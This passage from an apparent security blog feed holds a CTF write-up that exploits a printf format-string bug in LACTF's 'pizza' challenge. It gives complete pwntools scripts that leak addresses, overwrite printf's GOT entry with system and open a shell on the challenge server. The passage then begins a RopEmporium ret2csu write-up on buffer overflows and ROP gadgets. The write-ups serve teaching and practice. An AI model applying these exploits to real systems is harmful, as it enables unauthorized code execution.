    <span class="n">printf</span><span class="p">(</span><span class="s">"Order another pizza? (y/n): "</span><span class="p">);</span>
    <span class="kt">char</span> <span class="n">c</span><span class="p">;</span>
    <span class="n">scanf</span><span class="p">(</span><span class="s">" %c"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">c</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">!=</span> <span class="sc">'y'</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>So, where to go from here? Well as I aluded to earlier, we will be leveraging the vulnerability that arises when input we control is printed out using <code class="language-plaintext highlighter-rouge">printf</code> with no format specifier.</p>

<p>Why is this bad? Well, <code class="language-plaintext highlighter-rouge">printf</code> is a variadic function. That means that it can accept a varying number of arguments. For example, it could simple print a string or some other data with it and use a format specifier. However, if user controller data is passed in to <code class="language-plaintext highlighter-rouge">printf</code> without a format specifier, it allows a potentially malicious user to supply a format specifier of their own. Perhaps <code class="language-plaintext highlighter-rouge">%p</code> which could be used to leak data off the stack or even more fun, <code class="language-plaintext highlighter-rouge">%n</code> which allows one to write data. So thinking back to our program, we will have to leverage our ability to make custom toppings to abuse the printf vulnerability present.</p>

<p>But what might we need to leak and where might we need to write? Complicated questions with surprisingly easy answers.</p>

<p>Lets take a look at what <code class="language-plaintext highlighter-rouge">checksec</code> has to say about our binary.</p>

<p><img src="pizza-checksec.png" alt="" /></p>

<p>Notably, it looks like PIE is enabled, so anything our binary leaks will be randomized. We’ve also got Partial RELRO, so the global offset table is writeable… that will come in handy later. For now, lets take stock of what we need to do. No <code class="language-plaintext highlighter-rouge">win</code> function, so we’ll likely need to leverage something in libc which will require a libc leak to defeat ASLR. With Partial RELRO and a <code class="language-plaintext highlighter-rouge">printf</code> vulnerability that allows us to write anywhere we want, I’m thinking we’ll do a GOT overwrite; this involves overwriting an entry in the global offset table, like the entry for <code class="language-plaintext highlighter-rouge">printf</code>, to something like <code class="language-plaintext highlighter-rouge">system</code> so that we can pop a shell. This means that whenever <code class="language-plaintext highlighter-rouge">printf</code> is called, it’ll actually call system and since there is an instance where we control the arguments to <code class="language-plaintext highlighter-rouge">printf</code>, we could call something like <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code>. To know the location of something with the GOT we’ll need a binary leak to defeat PIE, so add that to the list.</p>

<p>That was a lot, but TLDR is we’ll need to do 3 things;</p>
<ol>
  <li>Get leaks to defeat PIE within the binary and ASLR within libc</li>
  <li>Perform the GOT overwrite</li>
  <li>Pass in “/bin/sh” and pop a shell</li>
</ol>

<p>Let’s grab our leaks with our first round of 3 topping selections and then we’ll perform the write with another round. To find some useful addresses, GDB is gonna be our best friend. Breaking right after the vulnerable call to <code class="language-plaintext highlighter-rouge">printf</code> allows us to inspect the stack to see what possible options we have to leak from.</p>

<p>This was a bit challenging at first, there was a lot of garbage laying around on the stack. To find where exactly I was leaking from, I simply leaked from several different places using the <code class="language-plaintext highlighter-rouge">%&lt;num&gt;$p</code> notation. This allowed me to specify certain stack indexes and read the data at that location. I did this several times to get my bearings. The stack layout after the first call to <code class="language-plaintext highlighter-rouge">printf</code> in that vulnerable loop is below.</p>

<p><img src="stacklayout1-pizza.png" alt="" /></p>

<p>You’ll notice that we have some things that satisfy our requirements. Notably, the address of <code class="language-plaintext highlighter-rouge">main</code> and the address of <code class="language-plaintext highlighter-rouge">libc_start_main + 133</code>. By debugging (gdb.attach() is your best friend) we can see that the address of <code class="language-plaintext highlighter-rouge">main</code> can be found at the 49th offset and can be used by specifying this format string: <code class="language-plaintext highlighter-rouge">%49$p</code>. And then waayyy at the bottom, the last element we can see, we’ve got <code class="language-plaintext highlighter-rouge">libc_start_main + 133</code> which we can use for our libc leak and this can be leaked using <code class="language-plaintext highlighter-rouge">%67$p</code> as it is at the 67th offset. And that should do it for our leaks!</p>

<p>But lets digress a bit and talk about libc. In order to exploit this, we’ll need to know what version of system to call on remote and thus what libc version the remote binary is running. Thankfully, we were provided with a docker container so we know what image the remote binary is running in. In this case, our dockerfile looks like the following:</p>

<div class="language-dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> pwn.red/jail</span>
<span class="k">COPY</span><span class="s"> --from=debian@sha256:36a9d3bcaaec706e27b973bb303018002633fd3be7c2ac367d174bafce52e84e / /srv</span>
<span class="k">COPY</span><span class="s"> pizza /srv/app/run</span>
<span class="k">COPY</span><span class="s"> flag.txt /srv/app/flag.txt</span>
<span class="k">RUN </span><span class="nb">chmod </span>755 /srv/app/run
</code></pre></div></div>
<p>To pull the libc, we can build that debian image, exec into it, and pull the libc. That is what sane people would do. Old me built the image, used <code class="language-plaintext highlighter-rouge">docker save</code> to extract the layers, and then went searching for anything resembling a libc. I managed to find one too, only it was the wrong one and it took me about an hour of troubleshooting to figure out why I couldn’t calculate the base addresses properly on remote. Turns out that I pulled a libc with the designation <code class="language-plaintext highlighter-rouge">2.36-9</code> and the proper libc from that debian image was a special debian one, also version <code class="language-plaintext highlighter-rouge">2.36</code>. On an unrelated note, that new libc didn’t play nice with pwninit and would cause my newly patched binary to immediately segfault! Yay! Thankfully the wrong version, <code class="language-plaintext highlighter-rouge">2.36-9</code> could be used and the symbols were the same, just the offsets were different. I used that version for local debugging and then when I went to exploit on remote I used the proper debian one.</p>

<p>Digression over, lets look at our solve script so far.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">pwnlib.fmtstr</span> <span class="kn">import</span> <span class="n">FmtStr</span><span class="p">,</span> <span class="n">fmtstr_split</span><span class="p">,</span> <span class="n">fmtstr_payload</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"pizza_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'libc-remote.so.6'</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>

<span class="c1"># libc_start_call_main + 128 at 47
# main @ 49
# __libc_start_main + 128 @ 67
# fmtstr offset at 31
</span><span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>
<span class="c1">#p = remote("chall.lac.tf", 31134)
</span><span class="n">script</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
break *(main + 456)
'''</span>
<span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">script</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="s">"%67$p"</span><span class="p">)</span>
<span class="c1">#print(p.recvline())
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'%49$p'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'aaaaaaaa%31$p'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

<span class="n">libc_start_main</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">libc_start_main</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">libc_start_main</span><span class="p">.</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">decode</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="mi">133</span>

<span class="n">main</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">main</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">main</span><span class="p">.</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">decode</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">main_offset</span> <span class="o">=</span> <span class="mh">0x0000000000001189</span>
<span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">main</span> <span class="o">-</span> <span class="n">main_offset</span>
<span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>

<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_start_main</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__libc_start_main'</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
</code></pre></div></div>

<p>We import some basic libraries and set up our environment, specifying our ELF and our libc to be indexed by pwntools. We then send in our custom toppings and parse the output for each of our leaks; one for the <code class="language-plaintext highlighter-rouge">main</code> function and one for <code class="language-plaintext highlighter-rouge">libc_start_main + 133</code>. Then we can calculate the base addresses of both the binary and libc using our leaks and offsets we find. Finally, we send in a <code class="language-plaintext highlighter-rouge">y</code> to start the program over again to continue our exploit.</p>

<p>Now on to crafting our format string payload. Pwntools, in its infinite wizardry, has the ability to generate format string payloads for us using the <code class="language-plaintext highlighter-rouge">fmtstr_payload</code> function so this is what I will use to craft the exploit. I’ll need the offset of the format string (which we’ll have to find) and then a dictionary, where the keys are the address where we want to write data to and then value is the data we want to write there. In this case we want to write to the location of <code class="language-plaintext highlighter-rouge">printf</code> in the GOT and we want to write the address of <code class="language-plaintext highlighter-rouge">system</code>.</p>

<p>To find the format string offset means to find the point where the stack index we leak will print out the input we send in. So if we send something like <code class="language-plaintext highlighter-rouge">aaaaaaaa%&lt;num&gt;$p</code>, where num is a stack index, our leak should look like <code class="language-plaintext highlighter-rouge">0x6161616161616161</code>. It turns out that order matters when finding this offset. I.e. when trying to find this using the third available topping option vs. the first, it changes. Before when using the third available one I found the offset to be 31. Now, since I’m doing it on the second round and using the first topping option to send this payload, it’ll be different. So, I used a simple script to fuzz a bunch of different offsets. This script was <em>heavily</em> inspired by one used by the Youtuber <code class="language-plaintext highlighter-rouge">cryptocat</code> in one of his videos. Basically it iterated through stack offsets from 0-100 and passed in <code class="language-plaintext highlighter-rouge">aaaaaaa%&lt;i&gt;%p</code> where <code class="language-plaintext highlighter-rouge">i</code> was the number of the current iteration. It started the program, sent this in as the first topping option, sent in random options for the others, printed out the input, then started over with a new thread of the program. I’ll include the script at the bottom, but I was able to find that the offset I’d need was 6. So, with this we can look at crafting our payload.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">got_printf</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">.</span><span class="n">printf</span>
<span class="n">writes</span> <span class="o">=</span> <span class="p">{</span><span class="n">got_printf</span><span class="p">:</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]}</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">fmtstr_payload</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="n">writes</span><span class="p">,</span> <span class="n">write_size</span><span class="o">=</span><span class="s">'byte'</span><span class="p">)</span>
</code></pre></div></div>
<p>Well that was fast. With three lines we can generate a format string payload that will write the address of system in place of <code class="language-plaintext highlighter-rouge">printf</code> in the GOT. But, as Ace Ventura might say, “Wait, there is just one more thing!”. As seen above I specified the <code class="language-plaintext highlighter-rouge">write_size</code> as byte. This would cause a large format string payload to be generated, often too large for the max length 99 that we are given as input via <code class="language-plaintext highlighter-rouge">scanf</code>. I realized (took me longer than it should have) that this was the reason my exploit wasn’t working and I sought ways to make it smaller. This lead me down a rabbit hole for sometime, and when I was debugging my exploit, it magically worked all of the sudden! And it gave me quite a shock! Apparently, for some reason that eludes me (I suspect its down to the addresses we’re passing in as “writes”), the above payload I generated is non deterministic. And so I got lucky once with a shorter than 99 length as it is typically around 120 chars. So i tried this about 15 times (lol) on remote and it worked, I popped a shell!</p>

<p>Fast forward to the Tuesday after the CTF had ended, I was watching SloppyJoePirates’ video on the challenge and I realized that you could just change the <code class="language-plaintext highlighter-rouge">write_size</code> from <code class="language-plaintext highlighter-rouge">byte</code> to <code class="language-plaintext highlighter-rouge">short</code> and it would have worked every time and had a length of about 64. Well, ya live and you learn.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'/bin/sh'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'0'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>The final pieces of the script can be seen above; we send in the payload as the first topping, then we send in “/bin/sh” so that the next time <code class="language-plaintext highlighter-rouge">printf</code>, now <code class="language-plaintext highlighter-rouge">system</code>, is called, that will be its argument and we will pop a shell. Then we specify the topping as pepperoni with “0”, obviously. Another challenge that I enjoyed solving!! Full solve script below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">pwnlib.fmtstr</span> <span class="kn">import</span> <span class="n">FmtStr</span><span class="p">,</span> <span class="n">fmtstr_split</span><span class="p">,</span> <span class="n">fmtstr_payload</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"pizza_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">'libc-remote.so.6'</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>

<span class="c1"># p = elf.process()
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"chall.lac.tf"</span><span class="p">,</span> <span class="mi">31134</span><span class="p">)</span>
<span class="n">script</span> <span class="o">=</span> <span class="s">'''
init-pwndbg
break *(main + 456)
'''</span>
<span class="c1">#db.attach(p, script)
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="s">"%67$p"</span><span class="p">)</span>
<span class="c1">#print(p.recvline())
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'%49$p'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'aaaaaaaa%31$p'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>

<span class="n">libc_start_main</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">libc_start_main</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">libc_start_main</span><span class="p">.</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">decode</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="mi">133</span>

<span class="n">main</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">main</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">main</span><span class="p">.</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">decode</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">main_offset</span> <span class="o">=</span> <span class="mh">0x0000000000001189</span>
<span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">main</span> <span class="o">-</span> <span class="n">main_offset</span>
<span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>

<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_start_main</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'__libc_start_main'</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>

<span class="n">got_printf</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">.</span><span class="n">printf</span>
<span class="n">writes</span> <span class="o">=</span> <span class="p">{</span><span class="n">got_printf</span><span class="p">:</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]}</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">fmtstr_payload</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="n">writes</span><span class="p">,</span> <span class="n">write_size</span><span class="o">=</span><span class="s">'short'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'/bin/sh'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'0'</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="c1"># lactf{golf_balls_taste_great_2tscx63xm3ndvycw}
</span></code></pre></div></div>
<p>And, as promised, the <code class="language-plaintext highlighter-rouge">fuzz.py</code> script I made.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"pizza_patched"</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">process</span><span class="p">()</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="s">'aaaaaaaa%{}$p'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>

        <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'/bin/sh'</span><span class="p">)</span>

        <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'&gt; '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'12'</span><span class="p">)</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">'topping: '</span><span class="p">,</span> <span class="sa">b</span><span class="s">'0'</span><span class="p">)</span>
        <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
        <span class="k">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
        <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
        <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
        <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'y'</span><span class="p">)</span>
        <span class="n">p</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
    <span class="k">except</span> <span class="nb">EOFError</span><span class="p">:</span>
        <span class="k">pass</span>
</code></pre></div></div>

<p>One final kudos to the folks that put on LACTF and one more massive shout out to the best CTF team anyone could ask for.</p>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="lactf" /><summary type="html"><![CDATA[This past weekend I played LACTF with my team, b01lers. The CTF was a ton of fun, kudos to the organizers and all challenge authors, UCLA and PBR always put on a great CTF. We were also fortunate enough to place 23rd overall, so big ups to the rest of my team for all the hard work they put in. I mainly focused on the pwn category (as per usual) and solved aplet123 and pizza. What follows are my ramblings for the aforementioned challenges, enjoy :)]]></summary></entry><entry><title type="html">Rop Emporium - ret2csu</title><link href="https://gabri3l.net/RopEmporium-ret2csu/" rel="alternate" type="text/html" title="Rop Emporium - ret2csu" /><published>2023-08-27T00:00:00+07:00</published><updated>2023-08-27T00:00:00+07:00</updated><id>https://gabri3l.net/RopEmporium-ret2csu</id><content type="html" xml:base="https://gabri3l.net/RopEmporium-ret2csu/"><![CDATA[<p>Here is my write-up for the RopEmporium challenge ret2csu! Another great challenge by the creator of RopEmporium.</p>

<h1 id="recon">Recon</h1>
<p>Let’s run <code class="language-plaintext highlighter-rouge">checksec</code> and have a look at the protections on the binary.</p>

<p><img src="checksec.png" alt="" /></p>

<p>This is looking good! We can write to the GOT if needed, we won’t have to leak a canary, and PIE is not enabled. We are not, however, allowed to execute shellcode off the stack.</p>

<p>The challenge description states that like previous RopEmporium challenges, all we have to do is find a way to call the <code class="language-plaintext highlighter-rouge">ret2win()</code> function with three arguments; <code class="language-plaintext highlighter-rouge">0xdeadbeefdeadbeef</code>, <code class="language-plaintext highlighter-rouge">0xcafebabecafebabe</code>, and <code class="language-plaintext highlighter-rouge">0xd00df00dd00df00d</code>. Since this is x86_64, we’ll need to populate the <code class="language-plaintext highlighter-rouge">RDI</code>, <code class="language-plaintext highlighter-rouge">RSI</code>, and <code class="language-plaintext highlighter-rouge">RDX</code> registers with those three respective arguments. To do this, we’ll need a pop gadget of sorts. That will allow us to pop those arguments we send in off the stack and into those registers.</p>

<p>But we’re getting ahead of ourselves. How are we going to redirect execution of this program to where we want it? In <code class="language-plaintext highlighter-rouge">gdb</code> we can see that the <code class="language-plaintext highlighter-rouge">main()</code> function is calling the same <code class="language-plaintext highlighter-rouge">pwnme()</code> function we have seen before. This means that it is probably vulnerable to a buffer overflow.</p>

<p><img src="main_func.png" alt="" /></p>

<p>We can verify this in <code class="language-plaintext highlighter-rouge">gdb</code> by attempting to crash the program with a long De Bruijn sequence.</p>

<p><img src="segfault.png" alt="" /></p>

<p>Looks like we got a segfault and managed to crash the program! Using <code class="language-plaintext highlighter-rouge">cyclic -l</code> to lookup the pattern it seems that our offset to the <code class="language-plaintext highlighter-rouge">rip</code> is 40 bytes. Next, we’ll have to find some ROP gadgets to pop our arguments into so we can successfully call <code class="language-plaintext highlighter-rouge">ret2win()</code> and get our flag!</p>

<p>However, that is easier said then done. A preliminary look at available ROP gadgets using <code class="language-plaintext highlighter-rouge">ROPGadget</code> yields nothing to pop into the <code class="language-plaintext highlighter-rouge">rdx</code> register which prevents us from properly calling <code class="language-plaintext highlighter-rouge">ret2win()</code>. But wait! The author of this challenge directed us to a <a href="https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf">Blackhat Asia</a> paper which outlines a new ROP technique.</p>

<p>Basically, even dynamically compiled executables have statically linked components. One such component is the <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code> function which implements initializers and finalizers in the program. According to a
<a href="https://katie.cs.mtech.edu/classes/csci305/Schedule/InitFinal_Paper.pdf">paper</a> I found, initializers assign space in memory and values to objects while finalizes do the opposite; they remove values from memory. That’s really not relevant here. What is relevant are the instructions that <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code> contains. It contains two ROP gadgets that when combined allow us to populate the three registers we need.</p>

<p>By disassembling <code class="language-plaintext highlighter-rouge">__libc_csu_init()</code> in <code class="language-plaintext highlighter-rouge">gdb</code>, we can find these gadgets and they are as follows.</p>

<p>Gadget 1:
<img src="gadget1.png" alt="" /></p>

<p>Gadget 2:
<img src="gadget2.png" alt="" /></p>

